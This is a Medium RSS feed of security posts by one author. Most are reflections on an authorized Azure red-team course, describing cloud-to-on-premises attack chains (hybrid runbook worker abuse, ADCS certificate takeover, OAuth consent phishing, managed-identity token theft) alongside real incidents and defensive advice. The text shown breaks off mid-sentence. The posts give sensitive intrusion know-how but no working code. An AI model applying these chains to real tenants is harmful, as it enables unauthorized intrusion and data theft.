<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Joshua Goossen on Medium]]></title>
        <description><![CDATA[Stories by Joshua Goossen on Medium]]></description>
        <link>https://medium.com/@joshuagoossen?source=rss-babe3e688cbf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZPB5Jnq3Lo_GWWrESDjugQ.jpeg</url>
            <title>Stories by Joshua Goossen on Medium</title>
            <link>https://medium.com/@joshuagoossen?source=rss-babe3e688cbf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 20:38:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@joshuagoossen/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[We Teach Hackers Tools. We Should Teach Them to Think.]]></title>
            <link>https://medium.com/@joshuagoossen/we-teach-hackers-tools-we-should-teach-them-to-think-c1a77ff095a4?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1a77ff095a4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[philosophy]]></category>
            <category><![CDATA[education]]></category>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Mon, 12 Oct 2026 18:58:29 GMT</pubDate>
            <atom:updated>2026-10-12T18:58:29.018Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>We Teach Hackers Tools. We Should Teach Them to Think.</strong></p><p>Most cybersecurity training follows a familiar pattern. Here’s the tool, here’s the technique, here’s the lab. Run the steps and capture the flag.</p><p>That works until it doesn’t. Real attacks rarely look like the lab. They cut across architecture, misconfigurations, governance gaps, and human behavior all at once. The professionals who handle them well aren’t the ones who memorized the most procedures. They’re the ones who can reason through a situation they’ve never seen before.</p><p>Other professions solved this problem long ago. Law schools use Socratic questioning to train students to think like lawyers. Medicine and nursing use it to develop clinical reasoning, the ability to work from symptoms to diagnosis under uncertainty. The research behind these approaches is substantial.</p><p>Security asks for exactly this kind of reasoning. Yet we’ve never formally named it or taught it that way.</p><p><strong>Naming the target: adversarial cognition</strong></p><p>My new paper, published in the Journal of Cybersecurity Education, Research and Practice, starts there. It names the reasoning skill we should be teaching: adversarial cognition. It means thinking across six dimensions together: the adversary, system architecture, implementation logic, governance structure, human factors, and the entropy that builds up in every real system over time.</p><p>These dimensions aren’t arbitrary. They follow the causal analysis that runs from Socrates and Aristotle through modern failure analysis in engineering and quality management.</p><p><strong>Teaching it: question, narrate, misdirect</strong></p><p>The method adapts the Socratic elenchus, the cycle of questioning that exposes weak assumptions. It pairs that questioning with storytelling and deliberate, productive misdirection. The approach is grounded in established learning theory: cognitive apprenticeship, situated learning, and narrative pedagogy. The paper walks through the method using a documented Active Directory attack.</p><p><strong>Testing it, for humans and for AI</strong></p><p>A framework is only a hypothesis until it’s tested. So the paper lays out an open, replicable protocol for comparing Socratic-trained practitioners with procedurally trained ones. Does this approach improve security-specific reasoning, general reasoning, or both?</p><p>The same measurement can be applied to large language models. As AI-assisted offensive tools spread, understanding how machine adversarial reasoning differs from human reasoning is quickly becoming a practical question.</p><p><strong>Why this matters beyond the classroom</strong></p><p>I consult in security GRC and system implementation, and this lens shapes that work. A control that exists on paper isn’t the same as a control that holds up against an adversary. The most valuable question I can ask a client isn’t “Do you have this?” It’s “How would this fail?”</p><p>This research is also the foundation for an educational platform I’m building to put the approach into practice. More on that soon.</p><p>📖 Read the full paper: https://digitalcommons.kennesaw.edu/jcerp/vol2026/iss1/38</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1a77ff095a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Infiltrate The Office Using Their Cloud]]></title>
            <link>https://medium.com/@joshuagoossen/how-to-infiltrate-the-office-using-their-cloud-32385ce785b4?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/32385ce785b4</guid>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Fri, 12 Jun 2026 17:36:52 GMT</pubDate>
            <atom:updated>2026-06-12T17:44:45.650Z</atom:updated>
            <content:encoded><![CDATA[<p><em>What a cloud-to-on-premises attack chain taught me about the boundary between Azure and Active Directory — and why most organizations have not drawn it in the right place</em></p><p>There is a moment in the CARTP lab that changes how you think about cloud security permanently. It is not the Server Side Template Injection on the Flask app, or the managed identity token stolen from an environment variable, or the OAuth consent grant that uses Microsoft’s own infrastructure to deliver phishing. Those are all technically interesting. But the moment that stays with you is when a netcat listener on your student VM receives a connection from a machine you have never directly touched — a machine sitting on a corporate network behind a firewall — and the shell prompt tells you that you are running as nt authority\system on an Active Directory Certificate Services server.</p><p>You got there through Azure. You never touched the on-premises network directly. And the path was visible from the second learning objective.</p><p>If that sounds like a contrived lab scenario, it is worth knowing that Microsoft’s own threat intelligence team documented a ransomware group called Storm-0501 doing exactly this against US government agencies, healthcare organizations, schools, and manufacturers — using the same hybrid pivot technique — as recently as 2025. The lab teaches the methodology. Storm-0501 executed it for profit.</p><h3>What a Hybrid Runbook Worker Actually Is</h3><p>Azure Automation is a service that lets organizations run PowerShell and Python scripts on a schedule or on demand. Most runbooks execute in Azure-hosted cloud sandboxes — isolated containers with no relationship to the organization’s on-premises infrastructure.</p><p>The hybrid runbook worker changes that. It is an agent installed on an on-premises machine that registers itself with an Azure Automation account. When a runbook is started with a specific parameter pointing to the hybrid worker group, Azure does not execute the script in a cloud sandbox. It sends the job to the on-premises machine, which pulls it, executes it locally, and reports the result back to Azure.</p><p>From an administrative perspective this is genuinely useful. It lets organizations run automation scripts against internal resources — Active Directory, on-premises databases, internal APIs — without exposing those resources to the internet or managing complex VPN connectivity for Azure services.</p><p>From an attacker’s perspective it is a bridge between the Azure control plane and the on-premises network that runs as SYSTEM.</p><h3>The Signal Was Always There</h3><p>This is the part that matters most for defenders.</p><p>The path to the hybrid worker was visible from the second learning objective of the CARTP course — well before any active exploitation began. During authenticated enumeration of the Azure tenant, an Entra ID security group appeared called Automation Admins. Its description read: “Members can create and run runbooks.”</p><p>That description is the entire attack in nine words.</p><p>The group had Contributor rights on the HybridAutomation automation account in the Engineering resource group. Contributor on an automation account means you can create runbooks, publish them, and start them — including starting them on hybrid worker groups. The hybrid worker registered to that account was an on-premises machine at a known IP address, last seen online minutes before the attack began.</p><p>Every piece of this was visible through standard enumeration. The group existed in Entra ID. The role assignment existed in Azure RBAC. The hybrid worker registration existed in the automation account. No vulnerability was needed to discover any of it. The attack path was hiding in the configuration, not in a software flaw.</p><p>Storm-0501 operated the same way. Microsoft documented that the group performed reconnaissance using AzureHound — the same tool used in the CARTP lab — to map relationships and permissions in Azure environments before attempting any exploitation. They knew exactly what they were going for before they moved. The enumeration phase is not preparation for the attack. It is the attack.</p><h3>The Permission Chain Nobody Audits</h3><p>What makes hybrid worker abuse particularly difficult to detect and prevent is that the permissions required to execute it are entirely legitimate in isolation.</p><p>A user who owns a security group can add members to it. That is expected behavior for a group owner. A member of the Automation Admins group can create and run runbooks. That is what the group exists for. An automation account can execute runbooks on registered hybrid workers. That is the entire purpose of the hybrid worker feature.</p><p>Each permission is correct. Each action is authorized. The problem is the chain — that a compromised user account, combined with group ownership, combined with an automation account permission, combined with a hybrid worker registration, produces code execution on an on-premises machine as SYSTEM.</p><p>No single team looking at their piece of this would flag it as a risk. The identity team sees a legitimate group with a legitimate role assignment. The automation team sees a configured automation account being used as intended. The infrastructure team sees a hybrid worker registered and healthy. Nobody is looking at all three simultaneously and asking what happens when someone compromises the person who owns the group.</p><p>Storm-0501 exploited exactly this organizational blind spot. Microsoft’s analysis noted that the group achieved domain administrator privileges by compromising an Entra Connect Sync server — a component that most organizations treat as infrastructure plumbing rather than a security boundary — and used it as a pivot point for lateral movement between on-premises and cloud environments. The Entra Connect server and the hybrid runbook worker are different components, but they represent the same class of risk: a trusted bridge between two environments that nobody has designated as a security perimeter.</p><h3>Why SYSTEM on an ADCS Server Is Not the End</h3><p>Landing SYSTEM on an Active Directory Certificate Services server is not the end of the attack chain. It is the beginning of a different one.</p><p>Active Directory Certificate Services is the domain’s certificate authority. It issues certificates used for authentication, encryption, code signing, and a range of other trust operations across the domain. A machine with SYSTEM access to an ADCS server has access to the certificate authority’s private key, the ability to request certificates on behalf of any principal in the domain, and the ability to abuse certificate templates in ways that have been extensively documented under the ESC1 through ESC8 nomenclature.</p><p>From SYSTEM on an ADCS server an attacker can request a certificate on behalf of the domain administrator, use that certificate to obtain a Kerberos ticket granting ticket for the administrator account, and authenticate to any service in the domain without knowing the administrator’s password and without touching the domain controller directly.</p><p>The Azure misconfiguration became a domain compromise. The cloud boundary was not a boundary at all.</p><p>Storm-0501 understood this completely. Once they achieved cloud access in their documented campaigns, Microsoft observed them using cloud-native capabilities to exfiltrate data, destroy backups, and deploy ransomware demands — all without relying on traditional malware deployment on every endpoint. The cloud was not a secondary target. It was the primary weapon. The on-premises compromise was the way in. The cloud was where the damage happened.</p><h3>The Conditional Access Gap That Made It All Possible</h3><p>One detail from both the CARTP lab and the Storm-0501 documentation deserves specific attention because it appears so consistently in real-world hybrid breaches.</p><p>In the lab, ROADTools enumeration of Conditional Access policies revealed that certain accounts had platform-specific restrictions, MFA exclusions, or legacy authentication gaps. These were not accidents — each was a deliberate trade-off made for operational reasons. But each gap represented an account that was reachable with credentials alone, without MFA, creating a distance-1 target in an environment that otherwise appeared well-protected.</p><p>Storm-0501 hit the same wall and navigated around it the same way. Microsoft documented that the group attempted to sign in as several privileged users and was blocked by Conditional Access policies and MFA requirements. Undeterred, they moved laterally between devices until they found a hybrid-joined server from which a Global Admin session could satisfy the policy requirements — using the hybrid infrastructure itself as the bypass mechanism.</p><p>The lesson in both cases is identical: Conditional Access policies are only as strong as their coverage. Every exclusion, every legacy authentication gap, every platform restriction that allows mobile but not desktop access is a potential entry point for an attacker who has already mapped the policy landscape. In the CARTP lab that mapping happens in LO6. Storm-0501 did it with the same tooling before their first exploitation attempt.</p><h3>The Three Questions This Should Prompt</h3><p>For any organization running Azure with hybrid connectivity to an on-premises Active Directory environment, this attack chain — whether encountered in a lab or in a Microsoft threat intelligence report — suggests three questions worth asking.</p><p><strong>First: which automation accounts in your Azure tenant have hybrid worker groups registered, and what machines are those workers running on?</strong></p><p>This is enumerable in minutes. The question is whether anyone has asked it. Contributor on an automation account with hybrid workers is not a trivial permission — it is equivalent to code execution on every machine registered as a hybrid worker, with the Azure control plane as the delivery mechanism.</p><p><strong>Second: who has rights on those automation accounts, and are those rights held by user accounts or service principals?</strong></p><p>User accounts get phished. Service principals do not have inboxes. If the permissions that control your hybrid workers are assigned to user accounts, every social engineering attack against those users is also an attack against your on-premises infrastructure. The CARTP initial access came through an OAuth consent grant against a user account. Storm-0501’s initial access came through compromised credentials. In both cases the cloud permissions held by the human user were the path to the on-premises network.</p><p><strong>Third: if your Azure tenant were compromised today, where does the blast radius stop — and is that answer based on architecture you have verified or assumptions you have inherited?</strong></p><p>This is the question that most organizations have not answered. The hybrid worker, the Entra Connect server, the Log Analytics agent, the Azure Arc registration — each of these is a connection between your cloud and your office. Each of them is a potential bridge in both directions. Knowing which bridges exist, who controls them, and what is on the other side of each one is not an advanced security capability. It is the minimum viable understanding of your own attack surface.</p><h3>What Good Looks Like</h3><p>None of this means hybrid workers should not be used, or that Entra Connect is inherently dangerous, or that cloud-to-on-premises connectivity is a mistake. The risk is not in the features themselves. The risk is in treating them as administrative plumbing rather than security perimeters.</p><p>Restricting Contributor and higher rights on automation accounts to explicitly reviewed service principals rather than user accounts removes the most common abuse path. Auditing hybrid worker registrations and ensuring workers are not running on domain controllers, certificate authorities, or other high-privilege machines reduces the blast radius when an automation account is compromised. Alerting on runbook creation, publication, and execution against hybrid worker groups creates detection opportunities that the attack chain currently lacks.</p><p>And reviewing Conditional Access policy coverage with the specific question of whether any exclusion or gap creates a path around MFA enforcement changes how policy maintenance gets prioritized — from a compliance checkbox to an active defense decision.</p><p>Storm-0501 is still operating. The techniques they use are documented, enumerable, and in many cases preventable with configuration changes rather than new tooling. The CARTP lab teaches you to find those configurations before an attacker does. That is the point of doing it.</p><p><em>This post draws on lessons from the CARTP lab environment offered by Altered Security and on publicly available Microsoft threat intelligence reporting on Storm-0501, including Microsoft Security Blog posts from September 2024 and August 2025. All lab techniques described are from an authorized training context.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32385ce785b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What CARTP and Cloud Pen Testing Have Taught Me So Far]]></title>
            <link>https://medium.com/@joshuagoossen/what-cartp-and-cloud-pen-testing-have-taught-me-so-far-cc1214f532ec?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc1214f532ec</guid>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Thu, 04 Jun 2026 20:06:43 GMT</pubDate>
            <atom:updated>2026-06-04T20:06:43.724Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Eight principles from the first half of a live Azure red team lab — and I am only halfway through the material</em></p><p>I am about halfway through the Certified Azure Red Team Professional (CARTP) course and already the methodology has forced me to rebuild how I think about offensive security. I completed CRTP — the Active Directory equivalent — and assumed Azure would feel familiar, but the execution turned out to be an almost entirely different discipline built on the same underlying logic. The goal is identical: find the privileged thing, compromise it, move deeper. After working through eleven learning objectives against a live tenant, these are the principles that actually matter, written down now before the second half of the material changes them again.</p><h3>1. A Security Incident Is Rarely One Thing Going Wrong</h3><p>There is an old idea in safety engineering that a disaster requires a chain of failures — no single mistake is catastrophic on its own, but two or three unremarkable failures in conjunction produce outcomes that none of them could produce alone. Security works the same way, and this principle is the foundation of everything in both CRTP and CARTP.</p><p>In Active Directory the highest-value attack paths were never found by looking at a single object in isolation. They emerged at the point where a service account with a sensitive SPN happened to run on a server that had unconstrained delegation to a domain controller. Each object looked like a medium risk in isolation. A service account with broad permissions — medium risk. A server with unconstrained delegation — medium risk. Together they were a path to domain compromise. The conjunction is where the catastrophe lives.</p><p>Azure works identically. Every attack has three points that form an Attack Triangle: a non-human identity with privilege, the resource it controls, and your path to it. The critical question is never whether any individual object is overprivileged — it is whether the combination of that object’s privileges, the app it runs inside, and the vulnerability in that app creates a conjunction point that a defender examining each piece separately would never recognize as critical. A managed identity with key vault access looks fine. An app service with a file upload feature looks fine. Together, if that app service runs as that managed identity and accepts executable uploads, they are a complete attack chain. The tragedy is in the conjunction, not in either object alone.</p><h3>2. Apps Are Leaky Triangles — Assume a Service Principal Is Behind Every One</h3><p>This follows directly from the first principle and is worth stating on its own because it changes how you look at every public-facing application in a cloud environment.</p><p>Applications exist because they automate something. Automation in Azure almost always means a service principal or managed identity is running behind the application doing the work — reading from storage, writing to databases, calling APIs, managing other resources. Those service principals tend to accumulate permissions over time and tend to have more access than their original design required, because removing permissions from a running production system is riskier than leaving them in place.</p><p>The application is therefore a two-sided object. On the user-facing side it is a web form, a file upload, an API endpoint — a surface that developers think about in terms of functionality. On the identity side it is a managed identity or service principal with Azure permissions that infrastructure teams think about in terms of RBAC. Neither team fully owns both sides. The application talks to you through its interface and will often expose its own credentials if you can execute code inside it, because those credentials are stored as environment variables injected at runtime — a design choice that makes deployment easy and makes exploitation straightforward once you have any form of code execution. Finding IDENTITY_ENDPOINT and IDENTITY_HEADER in the environment is the signal that the app is running as a managed identity and that its Azure permissions are now available to anyone who can read those two values.</p><h3>3. Tokens and Credentials Now — Every One Has a Plane</h3><p>When you steal a managed identity token, test it on all four planes before concluding it has no value:</p><p><strong>ARM</strong> — lists Azure resources (VMs, vaults, storage). Token resource: management.azure.com</p><p><strong>Graph</strong> — controls Entra ID objects (users, apps, service principals). Token resource: graph.microsoft.com</p><p><strong>Application</strong> — the running app service itself, reached via exploitation rather than API calls, containing IDENTITY_ENDPOINT and IDENTITY_HEADER in environment variables.</p><p><strong>Data</strong> — key vault secrets, storage blobs, mailboxes, each with its own token scope, because an ARM token that lists a vault cannot read its secrets.</p><p>In the lab, one managed identity had zero ARM permissions but carried Application Administrator rights on the Graph plane — letting it add credentials to enterprise applications across the entire tenant, which is a more powerful position than most ARM roles. An ARM failure is not a dead end; it is a signal to check the next plane. The same logic applies to credentials found in vaults, configuration files, or environment variables — always ask which planes they open before deciding their value.</p><h3>4. Lateral Movement Is Token-Based, Not Machine-Based</h3><p>In Active Directory you move machine to machine, following the network topology. In Azure you move identity to identity, following the permission graph, and the loop always looks the same: steal token → enumerate all planes → find next identity → authenticate as that identity → repeat.</p><p>Each iteration takes you deeper. A managed identity token reveals a key vault, the key vault contains service principal credentials, the service principal has Application Administrator rights, and Application Administrator lets you add secrets to other service principals — each link in the chain invisible until the previous one was pulled. The movement is relational rather than topological, which means physical location is irrelevant and every pivot is an HTTP call from wherever you happen to be sitting.</p><h3>5. MFA Cannot Be Universal — And That Architecture Gap Is an Attack Surface</h3><p>In CRTP you sometimes came across unique attack vectors that worked when you introduced a third party or an unexpected component like a Linux machine. These cases introduced attacks that were architectural trade-offs, for example a Linux machine authenticates slightly different from a Windows machine on an AD lab and that often resulted in surprise and useful priveleges that attackers might find and use for maliciousness. The Windows Security Architect in these cases no doubt knew adding Linux machines was a security risk but permitted it because accessbility was an Active Directory selling point, if not the entire reason networks exist in the first place.</p><p>In Azure, the corollary is found in MFA enforcement. MFA enforcement is a policy decision made per-user, per-application, and per-platform, and it is impossible to enforce universally without breaking things that organizations depend on. Legacy authentication protocols — SMTP, IMAP, POP3 — do not support MFA at the protocol level. Service principals and managed identities cannot do MFA by definition because there is no human present to approve a prompt.</p><p>So while a security purist might argue that MFA-everywhere is the solution, practically speaking exceptions need to be made for accessibility to be honored. First-party Microsoft applications are trusted in ways that allow device code flows to bypass MFA enforcement because requiring MFA on Azure PowerShell would break automation workflows across millions of enterprises. Conditional Access policies are the mechanism for enforcing MFA selectively, but every selective policy has exclusions, and those exclusions are attack surface.</p><p>In the lab, two Global Administrators were explicitly excluded from location-based Conditional Access policies, a Microsoft-managed MFA policy for admin portal access was disabled by the organization, and legacy authentication was open because Security Defaults had been turned off. None of these gaps were accidents — each was a deliberate trade-off made for operational reasons. As an attacker, reading Conditional Access policies is not supplementary work. It is the step that converts a target list into a prioritized attack plan by revealing exactly which accounts are reachable with credentials alone and which protocols bypass every control simultaneously.</p><h3>6. Social Engineering Is a First-Class Attack Vector — CRTP Never Told You That</h3><p>One of the most striking differences between CRTP and CARTP is where the initial access comes from. CRTP assumed you already had a foothold — a low-privilege domain account, network access, some starting position inside the perimeter. The course was about what you did after that. Social engineering was someone else’s problem.</p><p>CARTP opens with social engineering as the primary initial access mechanism, and it uses Microsoft’s own infrastructure to execute it. The illicit consent grant attack registers a malicious application in an attacker-controlled Azure tenant, generates a legitimate Microsoft OAuth consent URL, and delivers it through a public-facing career site contact form. The victim sees a real Microsoft login page with a real Microsoft SSL certificate asking them to authorize an app. When they click accept, Microsoft itself sends the authorization code to the attacker’s server. The deception is entirely in the human layer — the victim’s understanding of what they are consenting to — while every technical component is functioning exactly as designed.</p><p>This matters because it reframes the attack surface entirely. The perimeter is not a firewall or a VPN gateway. The perimeter is every user’s judgment about which OAuth consent screens to accept, which email links to click, and which applications to trust. CARTP takes that seriously from the first learning objective in a way that purely technical AD courses never have.</p><h3>7. Enumeration Tells You Where to Look — Intuition Tells You What Matters</h3><p>These are not the same thing even though they feel like they should be. Intuition in security is pattern recognition built from experience — a practiced sense that a service principal named processfile probably has more access than it should, or that an app service in the same resource group as a key vault is worth probing. That intuition is valuable and CRTP builds a version of it.</p><p>What the CARTP enumeration methodology adds is a systematic framework for converting vague intuition into scored, prioritized attack paths that survive scrutiny. ROADTools revealed that a specific Application Administrator had already consented to a suspicious app — not that he seemed likely to, but that he demonstrably had, making him a confirmed target rather than a probable one. BloodHound revealed three key vaults behind vaultfrontend rather than one, which changed the priority score of that attack path from moderate to highest. Monkey365 confirmed Security Defaults were disabled, which opened a spray path that worked regardless of every other MFA control in the tenant.</p><p>Intuition says vaultfrontend looks interesting. Enumeration says vaultfrontend has a managed identity, that identity connects to three vaults, one of those vaults is named after a service principal with Application Administrator rights, and the app has a template injection vulnerability — attack now. The difference between those two statements is the difference between a hunch and a plan.</p><h3>8. Defenders Secure Objects. Attackers Exploit Relationships.</h3><p>The identity team knows who has what permissions. The application team knows what vulnerabilities exist. The infrastructure team knows what resources exist and who can access them. Each team does their job correctly, and the vulnerability lives in the space between their org chart boxes — in the connection between the misconfigured app service and the managed identity it runs as and the three key vaults that identity can silently read at three in the morning while no alert fires.</p><p>Azure security is harder than AD security not because the attacks are more sophisticated but because the attack surface spans four planes, three teams, and a permission graph that no single tool can fully visualize at once. The fix is not better tooling for each team in isolation but a single view that shows not what exists but how everything connects — and someone whose job is specifically to watch the convergence points where no existing team’s responsibility clearly begins.</p><p><em>I am halfway through CARTP and these principles will almost certainly be refined by what comes next — lateral movement deeper into the subscription, privilege escalation through automation accounts, and kill chains I have not encountered yet. A follow-up article will cover the second half when I get there.</em></p><p><em>All techniques described are from a structured authorized training environment. CARTP is offered by Altered Security.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc1214f532ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[# Lessons from Altered Security Red Labs]]></title>
            <link>https://medium.com/@joshuagoossen/lessons-from-altered-security-red-labs-9963bd1b4cf1?source=rss-babe3e688cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/9963bd1b4cf1</guid>
            <dc:creator><![CDATA[Joshua Goossen]]></dc:creator>
            <pubDate>Mon, 25 May 2026 19:56:24 GMT</pubDate>
            <atom:updated>2026-05-25T19:56:24.215Z</atom:updated>
            <content:encoded><![CDATA[<p>## Context, Real Incidents &amp; Architectural Insight</p><p><em>*CARTP Track · Altered Security Red Labs · May 2026*</em></p><p><em>*For authorized security testing and educational purposes only.*</em></p><p>— -</p><p>## Part 0 — From Phreakers to Cloud: The Epistemology of Depth</p><p>Before the first CVE was filed, before penetration testing existed as a profession, phone phreakers in the 1960s discovered something that still defines elite security thinking: the most dangerous capability is not knowing how to break a system — it is understanding a system so completely that you see what its designers never intended to reveal.</p><p>John Draper — Cap’n Crunch — did not find a bug. He found a relationship: the 2600 Hz tone in a child’s cereal box toy was the exact frequency AT&amp;T’s switching network used to signal a free trunk line. Not a vulnerability in the conventional sense. Simultaneous knowledge of the full system — physics, business logic, billing — held in one mind. The phreakers collected every Bell System technical journal they could obtain. Their method was epistemic: build the complete model, find the gaps the engineers never defended because each team only ever modeled their own plane.</p><p>Azure presents the same problem at greater scale. Microsoft has separate teams maintaining three separate planes — the identity plane (Entra ID), the control plane (Azure Resource Manager), and the data plane (Key Vault, Storage, Service Bus). Each is individually well-documented and reasonably secured. The seams between them are where the attacks live. The Altered Security Red Labs teach these seams better than almost any other curriculum — but they teach technique. This document tries to supply the larger picture.</p><p>&gt; **The core insight:** Security built on one plane cannot fully evaluate entry points from the other planes. An IR team that remediates the identity plane after a breach may leave control-plane persistence intact. A developer who secures Key Vault access policies (data plane) may not realize that a Contributor role on the resource group (control plane) can modify those same policies. Gather all the docs. Hold the whole picture.</p><p>— -</p><p>## Part I — The Three-Plane Model: Where Security Fails Between Planes</p><p>Azure is not one system. It is three distinct systems sharing an identity model but with separate authentication, authorization, and audit logs. A security review evaluating only one plane will miss attack paths that cross planes.</p><p>The **identity plane** — Entra ID, accessed via Microsoft Graph — is where users, groups, roles, app registrations, and Conditional Access policies live. Its failure pattern: App Registration secrets and guest accounts persist after user account remediation. Resetting a compromised user’s password does nothing to a client secret attached to an app that user owns.</p><p>The **control plane** — Azure Resource Manager — is where Azure resources are managed: VMs, storage accounts, Key Vaults, RBAC assignments. Its failure pattern: RBAC assignments exist independently of the identity that created them. They survive password resets, session revocations, and MFA enforcement changes entirely.</p><p>The **data plane** — the actual contents of resources — is accessed via per-resource endpoints like `vault.azure.net` or `blob.core.windows.net`. Its failure pattern: SAS URIs and storage account keys remain valid after identity-plane remediation unless someone specifically rotates them as a separate action.</p><p>### The Three Cross-Plane Failure Modes</p><p>**Identity-plane remediation misses control-plane persistence.** A compromised Global Administrator uses the `elevateAccess` API action to assign themselves Owner at the root management group scope, creates a backdoor Service Principal with that role, then drops the elevation. IR resets the GA password. The SP and its RBAC assignment are untouched — they live in the control plane with no dependency on the user who created them. This is the documented NOBELIUM persistence pattern.</p><p>**Control-plane Contributor modifies data-plane policy.** Contributor on the resource group containing a Key Vault grants the ability to modify vault access policies — the data-plane ACL. Key Vault 01 (legacy access policy model) and Key Vault 02 (RBAC model) demonstrate both sides: in KV01, Contributor reaches secrets in two API calls. In KV02, that path is closed — but only because someone explicitly chose the RBAC model at provisioning time.</p><p>**Authentication bypasses cross all planes simultaneously.** BARK Tool 01 forces acquisition of three separate tokens — ARM, KV, Graph — because each plane is a separate OAuth audience. The scope parameter in the token request is the only thing that changes. A Conditional Access policy blocking interactive logins may not block the Resource Owner Password Credentials flow against a legacy-auth-enabled endpoint. When it does not, all three planes are accessible from a single credential.</p><p>— -</p><p>## Part II — Real Incidents, Mapped to Specific Labs</p><p>Every technique in the Red Labs has a documented real-world analog. The cross-plane failure each incident demonstrates is as important as the technical method.</p><p>### NOBELIUM / SolarWinds (2020–2021)</p><p>**Lab: AzureAD 17 — App Ownership → Client Secret Creation**</p><p>SVR added client secrets to existing high-privilege OAuth App Registrations after gaining initial access via forged SAML tokens. The SP credentials required no MFA, triggered no Conditional Access, and persisted across every user account remediation taken during incident response. AzureAD 17 covers this precisely: own an App Registration, add a client secret, authenticate as the Service Principal. No interactive controls apply.</p><p><em>*Cross-plane failure:*</em> IR secured the identity plane — SAML certificates, user accounts — and missed control-plane persistence (SP RBAC assignments) and identity-plane persistence (secrets on the app object itself). Two remediation tracks, one team, active compromise.</p><p>### Midnight Blizzard / Microsoft Exchange Online (2023–2024)</p><p>**Labs: AzureAD 15 (App Registration Enumeration) + AzureAD 16 (App Restore)**</p><p>The same SVR unit compromised a legacy OAuth test application with no MFA requirement and Mail.Read permissions across a large number of accounts. Password spray against one test account. No interactive login. No MFA prompt. Executive email read for months before detection. AzureAD 15 teaches enumerating App Registration details — the reconnaissance that precedes this attack. AzureAD 16 teaches that soft-deleted app registrations retain their permission grants and can be restored, creating a persistence path that survives app deletion.</p><p><em>*Cross-plane failure:*</em> The application lived in the identity plane. Its permissions granted data-plane access to Exchange mailboxes. A review of only identity-plane controls — MFA policies, Conditional Access — would never see this path because the application predated all of those controls.</p><p>### Uber (2022) — Hardcoded Credentials in a Deployment Script</p><p>**Lab: Storage Account 02 (MicroBurst Subdomain + Blob Enumeration)**</p><p>MicroBurst’s `Invoke-EnumerateAzureBlobs` finds a publicly accessible container containing `PAS_Deployment_Script.ps1` with hardcoded credentials for PIMUser. The Uber breach is structurally identical: a PowerShell script on an internal share contained plaintext PAM credentials. From those credentials: AWS, GCP, Azure, Duo admin, HackerOne, Slack — all from one automation artifact no one treated as a security boundary.</p><p><em>*Cross-plane failure:*</em> Credentials for an identity-plane account, stored in a data-plane resource with misconfigured access, discovered via control-plane enumeration. All three planes implicated in one misconfiguration; none reviewed together.</p><p>### Capital One (2019) — SSRF → Managed Identity → Data Exfiltration</p><p>**Labs: Key Vault 01 (Access Policy) · Key Vault 02 (RBAC) · Key Vault 04 (Subdomain Enum)**</p><p>A WAF misconfiguration allowed Server-Side Request Forgery to the EC2 instance metadata service, returning IAM role credentials for the attached instance profile. The role had overly broad S3 permissions. 106 million records exfiltrated. The Azure equivalent: any compute resource with an attached Managed Identity holds implicit credential access to every resource the identity can reach. Compromise of the compute layer immediately reaches the data layer. Key Vault 04 shows the direct path: subdomain enumeration finds the vault, authenticated credentials read the secret. In a managed identity scenario, those credentials come from the Azure IMDS endpoint at 169.254.169.254 rather than a credential file — same downstream access, different source.</p><p><em>*Cross-plane failure:*</em> WAF misconfiguration (application layer), IMDS exposure (compute layer), overpermissioned role (identity layer). No single plane’s team owned all three. Capital One reviewed each component. No review modeled the cross-plane chain.</p><p>### Lapsus$ — Dynamic Group Escalation (2021–2022)</p><p>**Labs: AzureAD 23 (Guest Invite → Dynamic AU) + AzureAD 04 (MembershipRule Enumeration)**</p><p>Lapsus$ — mostly teenagers — operated entirely through identity-plane abuse without sophisticated malware, finding gaps between intended and actual platform behavior. The PIMAdmins dynamic group membership rule `(user.mail -contains “pim”)` is exploitable because it is based on a user-modifiable attribute satisfiable by an invited guest. AzureAD 04 teaches reading the MembershipRule property with `Get-MgGroup` — the reconnaissance that must precede this escalation. AzureAD 23 walks the full path: guest invite, attribute match, automatic group membership, inherited permissions.</p><p><em>*Cross-plane failure:*</em> Dynamic group membership is an identity-plane construct. The permissions it grants span all three planes. A review of group permissions in the control plane might find them appropriately scoped, while never examining that the membership rule itself was modifiable by any guest who controls their email address.</p><p>### Microsoft AI Research — 38TB via SAS URI (2023)</p><p>**Labs: SA 05 (SAS URI) · SA 16 (Misconfigured Stored Access Policy) · SA 17 (Dirsearch)**</p><p>A SAS URI embedded in a public GitHub repository gave access to 38 terabytes of internal Microsoft AI research data. The token was scoped to the entire storage account, had write permissions, and had no expiry. SA 05 covers SAS URI access — no credentials required beyond the URL itself. SA 16 covers the stored access policy misconfiguration that produces over-scoped tokens. SA 17 covers 